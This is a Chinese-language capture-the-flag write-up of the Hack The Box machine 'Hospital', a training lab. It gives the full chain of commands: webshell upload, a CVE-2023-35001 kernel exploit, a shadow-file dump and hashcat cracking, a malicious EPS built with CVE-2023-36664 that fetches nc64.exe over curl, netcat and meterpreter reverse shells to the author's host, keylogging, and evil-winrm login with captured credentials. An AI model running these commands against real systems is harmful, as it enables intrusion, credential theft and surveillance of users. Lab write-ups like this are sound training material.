HTB - Hospital
省流
文件上传拿到webshell,内核提权读shadow文件跑用户hash,密码复用登入网页邮箱,给对面发带木马的文件拿下shell,msf巩固shell,并监听浏览器键盘输入拿到admin密码。非常多nday,也是打的比较爽的一次,HTB引导做的挺好,就是反弹shell那里的nc.exe上传我没注意本地服务器要上穿的文件名是nc64.exe,这个卡了一段时间😭,还有就是如果知道对方是win的话,应该尝试起smb,比用httpserver方便一点。
短短的文章写了一中午😢


fscan没扫出来多少,还是用nmap了
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.241 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.11.241

域名叫dc.hospital.htb,加入hosts

443跑着邮箱服务
上传
在8080端口的网站注册个账户,进入之后发现文件上传点,上传之后尝试fuzz目录地址,在`/uploads`找到(猜到的其实)

拿字典fuzz,他这个网页会302跳转无法直接获取上传结果信息,所以需要再用字典在`uploads`路由fuzz一遍,发现phar后缀上传并解析

蚁剑接管,但是发现脚本会被删,所以反弹之后`script /dev/null -c /bin/bash`巩固shell,(Platypus也可以直接巩固),接下来准备提权,从uname -a得到内核版本,查询相关漏洞,发现CVE-2023-35001能打
git clone https://github.com/synacktiv/CVE-2023-35001.git
本地make之后起个服务上传到服务器,其实也可以用Platypus直接上传

靶机没有安装unzip,直接本地解压后将exploit和wrapper上传上去,二者都需要运行权限,之后运行exploit获得root

找不到flag,HTB提示找shadow文件
# cat /etc/shadow
root:$y$j9T$s/Aqv48x449udndpLC6eC.$WUkrXgkW46N4xdpnhMoax7US.JgyJSeobZ1dzDs..dD:19612:0:99999:7:::
daemon:*:19462:0:99999:7:::
bin:*:19462:0:99999:7:::
sys:*:19462:0:99999:7:::
sync:*:19462:0:99999:7:::
games:*:19462:0:99999:7:::
man:*:19462:0:99999:7:::
lp:*:19462:0:99999:7:::
mail:*:19462:0:99999:7:::
news:*:19462:0:99999:7:::
uucp:*:19462:0:99999:7:::
proxy:*:19462:0:99999:7:::
www-data:*:19462:0:99999:7:::
backup:*:19462:0:99999:7:::
list:*:19462:0:99999:7:::
irc:*:19462:0:99999:7:::
_apt:*:19462:0:99999:7:::
nobody:*:19462:0:99999:7:::
systemd-network:!*:19462::::::
systemd-timesync:!*:19462::::::
messagebus:!:19462::::::
systemd-resolve:!*:19462::::::
pollinate:!:19462::::::
sshd:!:19462::::::
syslog:!:19462::::::
uuidd:!:19462::::::
tcpdump:!:19462::::::
tss:!:19462::::::
landscape:!:19462::::::
fwupd-refresh:!:19462::::::
drwilliams:$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/:19612:0:99999:7:::
lxd:!:19612::::::
mysql:!:19620::::::
把drwilliams那行扔到hashcat爆破
hashcat -m 1800 ./shadow /usr/share/wordlists/rockyou.txt

得到密码`qwe123!@#`,ssh登入,没发现什么东西,尝试在网页邮箱那里进行密码复用,登入进去发现

他等着这个账号的主人给他发一个文件,那么我们可以做一个🐴让他运行,eps后缀的木马制作可以参照CVE-2023-36664
但是我在反弹shell这里卡住了,其实也有其他方法,比如本机起个httpserver让对方下载vshell的🐴并运行,但是感觉过于繁琐,这里直接照着wp中用`impacket-smbserver`起个smb服务,并其中存储nc.exe,最后反弹shell

cmd.exe /c \\\\10.10.16.36\\smbFolder\\nc64.exe -e cmd 10.10.16.36 15555
但是smb起来的服务死活拉不到,还是用httpserver先下载nc再生成反弹shell了

python3 CVE_2023_36664_exploit.py --inject --payload "curl 10.10.16.36:8000/nc64.exe -o nc.exe" --filename file.eps
.\nc.exe -e cmd 10.10.16.36 15555 cmd.exe
.\nc.exe 10.10.16.36 15555 -e c:\windows\system32\cmd.exe
拿到shell

为了巩固和进一步利用,使用,msf生成个shell上传
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.36 LPORT=15555 -f exe > GotIt.exe

接下来开启本地监听
use exploit/multi/handle
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.16.36
set lport 15555
run
start直接启动木马

ps查看当前运行的应用程序,`migrate PID`切换到浏览器进程中,来使用我们的keyscan查看用户在干什么
keyscan_start
keyscan_dump
HTB提示说这用户每两分钟输入一次,耐心等一会儿就好
好吧我等饿好久都没出来,通过ps查看确实在浏览器进程中,但无法获取到用户输入,可能是靶机bug,时间紧不重启了,skipppppppppppp,通过keyscan获取到账户密码
Administrator<Tab>Th3B3stH0sp1t4l9786!<CR>
nmap -p5985,5986 10.10.11.241
发现winrm开着,直接连接
evil-winrm -i 10.10.11.241 -u Administrator -p Th3B3stH0sp1t4l9786\!